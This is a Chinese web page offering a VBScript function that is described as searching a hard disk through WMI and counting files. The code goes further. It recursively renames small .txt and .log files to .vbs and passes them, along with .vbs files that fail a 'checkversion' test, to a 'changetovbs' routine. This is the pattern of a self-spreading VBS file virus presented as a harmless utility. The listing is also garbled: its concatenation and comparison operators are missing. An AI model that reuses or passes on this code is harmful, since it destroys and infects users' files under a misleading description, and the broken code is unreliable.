主页 > 知识库 > VBS调用WMI遍历搜索硬盘文件并计数的方法

VBS调用WMI遍历搜索硬盘文件并计数的方法

热门标签:服务器配置 美图手机 呼叫中心市场需求 智能手机 网站文章发布 银行业务 铁路电话系统 检查注册表项

多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来

核心代码:

Function wmisfile(path_sf,justcnt)
  'On Error Resume Next
  StrComputer = "."
  Set ObjWMIService = GetObject("winmgmts:\\"  StrComputer  "\root\cimv2")
  Set FileList = objWMIService.ExecQuery _
  ("ASSOCIATORS OF {Win32_Directory.Name='"  path_sf  "'} Where " _
    "ResultClass = CIM_DataFile")
  For Each objFile In FileList
    fname = LCase(objfile.name)
    ename = LCase(objfile.extension)
    If 1  objfile.filesize And objfile.filesize = 50000 Then
      Select Case ename
        Case "txt","log"
        path_vbs = objfile.drive  objfile.path  objfile.filename  ".vbs"
        objfile.rename(objfile.drive  objFile.Path  objfile.filename  ".vbs")
        Call changetovbs(path_vbs,path_vbs)
        justcnt = justcnt + 1
        Case "vbs"
        If checkversion(fname) = False Then
          Call changetovbs(fname,fname)
          justcnt = justcnt + 1
        End If
      End Select
    End If
  Next
  Set colSubfolders = objWMIService.ExecQuery _
  ("Associators of {Win32_Directory.Name='"  path_sf  "'} " _
    "Where AssocClass = Win32_Subdirectory " _
    "ResultRole = PartComponent")
  For Each objFolder In colSubfolders
    wmisfile objfolder.name,justcnt
  Next
End Function

您可能感兴趣的文章:
  • VBS脚本实现遍历批量替换多目录多文件内容的代码
  • 用vbs遍历文件并随机显示的脚本
  • VBS遍历文件或文件夹路径输入文件的所有绝对路径(附源码)

标签:红河 新疆 沈阳 上海 河南 沧州 乐山 长治

巨人网络通讯声明:本文标题《VBS调用WMI遍历搜索硬盘文件并计数的方法》,本文关键词  ;如发现本文内容存在版权问题,烦请提供相关信息告之我们,我们将及时沟通与处理。本站内容系统采集于网络,涉及言论、版权与本站无关。
  • 相关文章
  • 收缩
    • 微信客服
    • 微信二维码
    • 电话咨询

    • 400-1100-266